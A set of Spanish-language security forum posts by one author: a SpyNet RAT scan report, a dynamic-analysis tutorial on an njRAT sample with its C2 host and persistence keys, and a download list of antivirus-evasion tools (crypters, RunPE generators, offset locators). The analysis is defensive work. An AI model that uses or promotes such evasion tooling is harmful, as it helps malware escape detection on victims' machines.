[ 1 ] Reporte de Scan-Rat by fudmario:
Código: php

[Info]
    [+] SpyNet 
    [+] Version - v2.6
    [+]  Found Malicious Files
¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬
[Dropped - File]
    [+]  C:\Program Files\updater\servercito.exe
    [+]  C:\Users\fudmario\AppData\Roaming\logs.dat
[StartUp]
    [+]  HKCU\Software\microsoft\Windows\CurrentVersion\Policies\Explorer\Run => C:\Program Files\updater\servercito.exe
    [+]  HKLM\Software\microsoft\Windows\CurrentVersion\Policies\Explorer\Run => C:\Program Files\updater\servercito.exe
    [+]  HKCU\Software\microsoft\Windows\CurrentVersion\Run => C:\Program Files\updater\servercito.exe
[Active Setup]
[+]  StubPath -> C:\Program Files\updater\servercito.exe


   
[ 2 ] Reporte del Volcado de Memoria:

Filtrando todo el archivo(.raw), obtuvimos lo siguiente:

Código: php
- FileName: servercito.exe
- Pass: abcd1234
- Host: adobe-updaterx300.no-ip.biz
- Port: 667




Ya sabiendo de que Rat se trata y conociendo el Host, puerto, y la contraseña lo que haremos será redireccionar todas las conexiones a localhost mediante ApateDNS y des-instalarlo con el propio Spynet(Otra vez como no tengo .NetFrameWork no podré ejecutar el ApateDNS así que solo les mostraré como sería desde  Win7).






------------------------------------------------------------------------------------------
Eso es todo amigos,trate de ser lo más claro en la explicación y espero que sirva de ayuda, cualquier duda, sugerencia, critica, aqui estamos para ayudar.
------------------------------------------------------------------------------------------


Autor: Fudmario.


PD: "Si alguien decide llevar este tutorial a otros lados,se pide respetar el Autor y la Fuente de la misma".
#38
Seguridad / Kill Process v1.0 | by fudmario
Enero 28, 2014, 02:03:06 AM
Kill Process v1.0 | by fudmario










  • Caracteristicas:

    • Kill Process - Normal
    • Kill Process - protegindo por BSOD
    • Kill Process - Procesos Persistentes(**)
    * Boton OFF|ON, Si esta Activado(ON) detecta cualquier proceso que se ejecute y pregunta si desea eliminar.
    ** Si no se ejecuta el explorer click en start

    Descarga: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
    Contraseña: byfudmario
#39

[Mega Pack] Modding Tools by fudmario
Hola Amigos aquí les traigo esto que recolecte hace tiempo, eh añadido algunas herramientas más del anterior pack.











Lista de Herramientas:



       
  • HexWorkshop 6.0.1.
  • CFF Explorer.
  • PE Explorer.
  • Resource Tuner.
  • Resource Hacker + [Mod | FXer].
  • StudPe 2.6 .
  • Lord PE by Yoda..
  • ProcDump.
  • OllyDbg.
  • PEiD.
  • PE Labz by Abronsius.
  • Offset Patcher by Metal.


       
  • RunPE Generator By Pink
  • RunPE Generator By M3
  • RunPE Generator By V0id
  • Generador de RC4 Ascii by Matabarras
  • Unique Encrypter Generator by M3
  • Gerador ofusccao Xor by Thocks
  • Obfuscate Api by M3
  • [ACO] v0.3
  • [ACO] v0.4
  • JunkCode Generator.


       
  • Cambiador de Delimitadores by Expermicid
  • Source Undetector v0.1
  • M3 Code Ofsucator v1
  • Comparador de Offset by Expermicid
  • PeCompact + K
  • Petite 2.3
  • Private exe Protector 3.1.4
  • MoleBox 4309
  • String Generator by fudmario
  • Stub Generator[Beta] by fudmario


| ANOTADORES |




       
  • Anotador by LuisN2
  • Anotador by Leem
  • R-007 Offset Anotador
  • Anotador by Kr34t0r.
  • AnotadoR by M3
  • Anotador M-H
  • Anotador by Metal
  • BoLiTa -FUD(0-37)
  • Bolita v1.0
  • JackBolita

| BBCode GENERATOR | CHK4ME |




       
  • Chk4me bb-code gen by Metal v2
  • Chk4me BBCode Generator by Crypt
  • chk4me scan by Velario
  • M3 Online BBCode

| GUI | COMMAND LINE SCANNER |



       
  • A-Squared CLS
  • Avast CLS
  • BitDefender CLS
  • DrWeb CLS
  • Kasperky Borrado de Archivos
  • F-Prot CLS
  • Ikarus CLS
  • Sophos Scanner
  • Nod32 CLS
  • Norman CLS
  • Panda CLS
  • VBA CLS Borrador Automatico.
  • Avira CLS by Metal [Fixed]
  • Essentials CLS by metal V2
  • Panda CLS by Metal [Fixed]
  • Vipre CLS by Metal
  • ClamWin Portable.

       
  • MultiScanner V3 by Expermicid
  • OverSec Multiscanner V3



| OFFSET LOCATOR | EDITION COLLECTIONS |



       
  • AAV-TOOLS 2008
  • AAV-TOOLS 2009
  • Apofis-Locator [By AX]
  • AV Fucker Traduced By MicroAttackeR
  • Chamaeon Offset Locator 1.0
  • Chamaeon Offset Locator 2.0
  • M-H Offset Locator By Expermicid
  • ForoMalware Offset Locator
  • [C]orp-51 Offset Locator 1.0
  • [C]orp-51 Offset Locator 1.6
  • [C]orp-51 Offset Locator 1.8
  • [C]orp-51 Offset Tester By ØnLy

       
  • UDT Offset Locator 1.0
  • UDT Offset Locator 2.0
  • Indetectables Offset Locator 1.0
  • Indetectables Offset Locator 2.0
  • Indetectables Offset Locator 2.2
  • Indetectables Offset Locator 2.5
  • Indetectables Offset Locator 2.6
  • Monster Modder Tools By DaPimP
  • DSplit By Slek
  • FUDOnly Offset Locator V3
  • Optimize DSplit by ØnLy
  • Optimized Offsets Locator By ØnLy

       
  • Signature Zero [ES]
  • Signature Zero [EN]
  • OverSec Offset Locator
  • Dekoders Offset Locator
  • IND Locator v1.1 By Swash
  • Offset Remover
  • Indetectables Special Offset Locators
  • Locator Special v0.4 By Metal
  • Udt Offset Checker v1.3 By Metal
  • Underc[0]de Offset Locator v Beta
  • Underc[0]de Offset Locator v1.0 By Expermicid
  • X - Offset Locator By Satyr90




Descarga: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Alternativa: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Contraseña Mega-Pack 2013-214
#40
Una de las desventajas que se ve al momento de realizar el análisis de Estático,es que no se puede obtener siempre los datos suficientes, de que es lo que hará al momento de ejecutarlo. Por lo tanto recurriremos a un segundo tipo de análisis.

"Análisis Dinámico" ¿Qué quiere decir?, ¿en qué consiste?

Este tipo de análisis implica ejecutar el malware y ver el comportamiento del mismo en el sistema es decir: modificaciones en sistema(directorios y archivos creados), modificaciones en el registro, procesos en ejecución después de ejecutar el malware, que conexiones hace y más.

Un aspecto muy importante antes de realizar este tipo de análisis, es hacerlo en entornos controlados, ¿Qué quiere decir?, Usar Software de Virtualización(Maquinas Virtuales), donde se va a llevar a cabo la ejecución del Malware, esto con el fin de evitar posibles perdidas de datos, daños en su equipo,etc.

Entre los más usados:


En el peor de los casos el malware tendrá protección anti-virtual, si ese fuese el caso antes de ejecutarlo se debe recurrir a crear respaldo de su equipo. También esta el uso de SandBox, de esto hablaremos un poco al final del tutorial.

Veamos un ejemplo Práctico:
Recapitulando lo que obtuvimos anteriormente:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Al realizar el análisis nos mostró los siguientes datos:



  •     "java.exe"
  •     "TEMP"
  •     "d2be3e6d11846430c067fc874a79f583"
  •     "evilevil.no-ip.org"
  •     "1177"
  •     "True"

Llegamos a la conclusión de que se crea un archivo con el nombre "java.exe" en los documentos temporales y se conectaba a la dirección : "evilevil.no-ip.org" a través del puerto "1177"  y lo de "TRUE" era porque tenia un par de opciones habilitadas al momento de crear el server y al ver que la aplicación era(.NET) talvez se trataba del nJRAT. Como dije al principio no siempre se puede llegar a mostrar los datos suficientes de lo que hace o no hace el malware, pero siempre es bueno tener referencias antes de ejecutarlo.



Ahora toca ejecutar el archivo: "TiGeR-Firewall-Setup.exe", para lo cual utilizaremos algunas aplicaciones que nos ayudaran durante el análisis.

Una de las herramientas que nos ayudará en este proceso es Process Monitor.



Ejecutamos el Process Monitor y también el archivo  "TiGeR-Firewall-Setup.exe" y si vemos el programa al parece inicia el instalador  pero también vemos que se crea otro proceso a continuación lo que haremos será filtrar con el fin de poder ver mejor todo lo que ocurre al momento de ejecutar el archivo, podemos filtrar desde Filter/Filter(o simplemente Ctrl+L), miren es bastante simple, nosotros lo haremos por Process Name(Nombre del proceso), también se puede por: WriteFile,FileCreate,RegCreateKey, TCP Send, depende como filtres se puede obtener resultados más fáciles de leer.




Si vemos todo lo que nos filtro podemos ver lo siguiente:





se puede ver dónde se copia el malware y lo que hace para garantizar su permanencia en el sistema.

Ahora lo veremos desde Process Explorer.



Como podemos observar tras ejecutar el instalador también se ejecuto otro proceso con el nombre "JAVA.EXE" si miramos entre las propiedades.



como podrán ver nos muestro la ruta donde se de donde se esta ejecutando el archivo y también vemos que se ah creado un valor en el registro para volver a ejecutar tras el reinicio:



  • C:\Users\fudmario\AppData\Local\Temp\JAVA.EXE
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run\d2be3e6d11846430c067fc874a79f583

si miramos desde el regedit:




  • d2be3e6d11846430c067fc874a79f583
  • "C:\Users\fudmario\AppData\Local\Temp\JAVA.EXE" ..
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run\


Si lo vemos desde CurrPorts, veremos que también la aplicación "java.exe" conecta a través del puerto: 1177 al host: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



si entramos en los documentos temporales veremos también:


   
Los archivos Creado son:



  • JAVA.EXE.tmp
  • JAVA.EXE
  • TIGER-FIREWALL-SETUP.EXE

Resumiendo de todo lo que obtuvimos:

Archivos que se Crean:


  • JAVA.EXE.tmp
  • JAVA.EXE
  • TIGER-FIREWALL-SETUP.EXE

Valores  que se añaden al registro:


  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run\d2be3e6d11846430c067fc874a79f583
  • "C:\Users\fudmario\AppData\Local\Temp\JAVA.EXE" ..

Conecta a:


Si comparamos nuestro análisis estático con el Dinámico vemos que en ambos casos llegamos a lo mismo hasta cierto punto.



CONCLUSIONES:

A partir de los Datos Obtenido, solo nos queda eliminar los archivos creados y los valores añadidos al registro, esto se lo debe realizar entrando en modo seguro al sistema ya que muchas veces suelen tener persistencia o en este caso la protección BSOD.

Mi conclusión, con los datos obtenidos:  el archivo que se crea "java.exe" + el otro archivo "java.exe.tmp" + El directorio donde dropea "TEMP" + el puerto por defecto "1177" + el tipo de aplicacion (.NET) + Valor de Registro "d2be3e6d11846430c067fc874a79f583" + Al tratar de eliminar el proceso llega a mostrar la pantalla azul, y todo lo demás se puede llegar a concluir que el único RAT con esas funciones o configuración en el server. se trata del nJRAT(99.97%).


Ya que sabemos que se trata de este RAT su desinfección es super fácil:
Re-direccionaremos todo las conexiones  a localhost(127.0.0.1) usando Apate DNS.



Y ejecutaremos nuestro nJRAT ya que en este RAT el server no contiene contraseña será fácil, usaremos el mismo puerto donde conecta el server para desinfectarnos, fácil Verdad.




------------------------------------------------------------------------------------------
Las aplicaciones que se usaron en este tutorial:

Process Monitor
URL: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Process Explorer
URL: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

CurrPorts

URL: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

ApateDNS
URL: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

------------------------------------------------------------------------------------------


BONUS.

Otro tipo de Herramientas que se utilizan al momento de analizar son las SandBox, Exiten varias algunas online, le mostraré un par/las más utilizadas por muchos y una herramienta que me parecio bastante interesante.

Anubis:

Anubis es un servicio de análisis de malware Online, con informes muy detallados.
más información...
URL: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

malwr:
servicio de análisis de malware gratuito hecho a partir de un sandbox Cuckoo
URL: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Buster Sandbox Analyzer(BSA):

Basado en el proyecto Sandboxie, analiza el comportamiento del malware, mostrando a detalle cualquier cambio al ejecutarse el archivo. Una de las caracteristicas interesantes de BSA, es que hookea a nivel kernel(ZwQuerySystemInformation), con el fin de evitar posibles protecciones(anti-sandbox) del algunos malware's.
más información...
URL: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

ProcDOT:

ProcDot una herramienta desarrollada por Christian Wojner en el CERT de Austria. Esta herramienta analiza la información provista por Process Monitor y WinDump para generar un gráfico en función del tiempo, donde es posible hacer un seguimiento de las actividades del código malicioso, no es una herramienta que captura datos sino que su función principal es ayudar a los analistas a procesar la información.
Su dependencia más importante reside en la utilización de Graphviz, un software para generar los gráficos con los que representa las relaciones entre los procesos(i-eset).

ProcDot:
URL: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

ProcMon
URL: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

WinDump:
URL: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Graphviz:

URL: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



------------------------------------------------------------------------------------------

Eso es todo amigos,trate de ser lo más claro en la explicación y espero que sirva de ayuda para todos los que se inician y/o quieren aprender a analizar archivos, esto muy básico pero con el tiempo, cada uno podrá usar diferentes tipos de Herramientas más complejas y poder analizar cualquier archivo. Como podrán notar existe una gran cantidad de herramientas para realizar el análisis de Malware.
------------------------------------------------------------------------------------------

Autor: Fudmario.



PD: "Si alguien decide llevar este tutorial a otros lados,se pide respetar el Autor y la Fuente de la misma".